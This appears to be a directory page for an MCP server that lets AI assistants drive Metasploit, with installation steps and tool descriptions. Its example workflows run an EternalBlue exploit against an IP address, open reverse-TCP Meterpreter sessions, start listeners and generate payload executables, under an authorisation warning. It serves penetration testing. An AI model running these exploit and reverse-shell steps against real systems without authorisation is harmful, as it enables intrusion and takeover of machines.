Skip to main content
Glama

Metasploit MCP-сервер

Сервер Model Context Protocol (MCP) для интеграции Metasploit Framework.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Описание

Этот сервер MCP обеспечивает мост между большими языковыми моделями, такими как Claude, и платформой тестирования на проникновение Metasploit Framework. Он позволяет помощникам ИИ динамически получать доступ и управлять функциональностью Metasploit с помощью стандартизированных инструментов, обеспечивая интерфейс на естественном языке для сложных рабочих процессов тестирования безопасности.

Related MCP server: Metasploit MCP Server

Функции

Информация о модуле

  • list_exploits : Поиск и составление списка доступных модулей эксплойтов Metasploit

  • list_payloads : Поиск и составление списка доступных модулей полезной нагрузки Metasploit с дополнительной фильтрацией по платформам и архитектурам

Рабочий процесс эксплуатации

  • run_exploit : настроить и выполнить эксплойт против цели с возможностью предварительного запуска проверок

  • run_auxiliary_module : запуск любого вспомогательного модуля Metasploit с пользовательскими параметрами

  • run_post_module : Выполнение модулей пост-эксплуатации для существующих сеансов

Генерация полезной нагрузки

  • generate_payload : Генерация файлов полезной нагрузки с помощью Metasploit RPC (сохраняет файлы локально)

Управление сеансом

  • list_active_sessions : Показать текущие сеансы Metasploit с подробной информацией

  • send_session_command : запуск команды в активной оболочке или сеансе Meterpreter

  • terminate_session : Принудительно завершить активный сеанс

Управление обработчиками

  • list_listeners : Показать все активные обработчики и фоновые задания

  • start_listener : создать новый multi/handler для приема подключений

  • stop_job : завершить любое запущенное задание или обработчик

Предпосылки

  • Metasploit Framework установлен и msfrpcd запущен

  • Python 3.10 или выше

  • Необходимые пакеты Python (см. requirements.txt)

Установка

  1. Клонировать этот репозиторий

  2. Установить зависимости:

    pip install -r requirements.txt
  3. Настройте переменные среды (необязательно):

    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads

Использование

Запустите службу Metasploit RPC:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Варианты транспорта

Сервер поддерживает два метода транспортировки:

  • HTTP/SSE (события, отправленные сервером) : режим по умолчанию для взаимодействия с большинством клиентов MCP

  • STDIO (стандартный ввод/вывод) : используется с Claude Desktop и аналогичными прямыми трубными соединениями.

Вы можете явно выбрать режим транспорта с помощью флага --transport :

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Дополнительные параметры для режима HTTP:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Интеграция рабочего стола Клода

Для интеграции Claude Desktop настройте claude_desktop_config.json :

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Другие клиенты MCP

Для других клиентов MCP, использующих HTTP/SSE:

  1. Запустите сервер в режиме HTTP:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  2. Настройте свой клиент MCP для подключения к:

    • Конечная точка SSE: http://your-server-ip:8085/sse

Соображения безопасности

⚠️ ВАЖНОЕ ПРЕДУПРЕЖДЕНИЕ О БЕЗОПАСНОСТИ :

Этот инструмент обеспечивает прямой доступ к возможностям Metasploit Framework, которые включают мощные функции эксплуатации. Используйте ответственно и только в средах, где у вас есть явное разрешение на выполнение тестирования безопасности.

  • Всегда проверяйте и пересматривайте все команды перед выполнением.

  • Запускать только в отдельных тестовых средах или при наличии соответствующего разрешения.

  • Помните, что команды после эксплуатации могут привести к значительным изменениям в системе.

Примеры рабочих процессов

Базовая эксплуатация

  1. Список доступных эксплойтов: list_exploits("ms17_010")

  2. Выберите и запустите эксплойт: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})

  3. Список сеансов: list_active_sessions()

  4. Выполнить команды: send_session_command(1, "whoami")

Пост-эксплуатация

  1. Запустить пост-модуль: run_post_module("windows/gather/enum_logged_on_users", 1)

  2. Отправка пользовательских команд: send_session_command(1, "sysinfo")

  3. Завершить по завершении: terminate_session(1)

Управление обработчиками

  1. Запустить прослушиватель: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)

  2. Список активных обработчиков: list_listeners()

  3. Сгенерировать полезную нагрузку: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})

  4. Остановить обработчик: stop_job(1)

Параметры конфигурации

Каталог сохранения полезной нагрузки

По умолчанию полезные данные, сгенерированные с помощью generate_payload сохраняются в каталоге payloads в вашей домашней папке ( ~/payloads или C:\Users\YourUsername\payloads ). Вы можете настроить это местоположение, установив переменную среды PAYLOAD_SAVE_DIR .

Установка переменной среды:

  • Windows (PowerShell) :

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows (командная строка) :

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS :

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • В конфигурации Claude Desktop :

    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
    }

Примечание: Если вы указываете пользовательский путь, убедитесь, что он существует или у приложения есть разрешение на его создание. Если путь недействителен, генерация полезной нагрузки может завершиться неудачей.

Лицензия

Апач 2.0

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections. Dates show when Glama detected each change.

No tool schema history has been recorded yet.

Maintenance

ActivityInactive
ResponsivenessSyncing

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Connectors

Related MCP Servers

  • A
    license
    Not graded
    quality
    D
    maintenance
    Bridges large language models with the Metasploit Framework to enable natural language control over penetration testing workflows. It provides tools for searching modules, executing exploits, generating payloads, and managing active sessions.
    1
    Apache 2.0
  • F
    license
    Not graded
    quality
    D
    maintenance
    Provides AI assistants with secure access to Metasploit Framework functionality through a standardized interface, enabling commands, exploit search, module info, and scanning.
    2
    -

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/GH05TCREW/MetasploitMCP'

If you have feedback or need assistance with the MCP directory API, please join our Discord server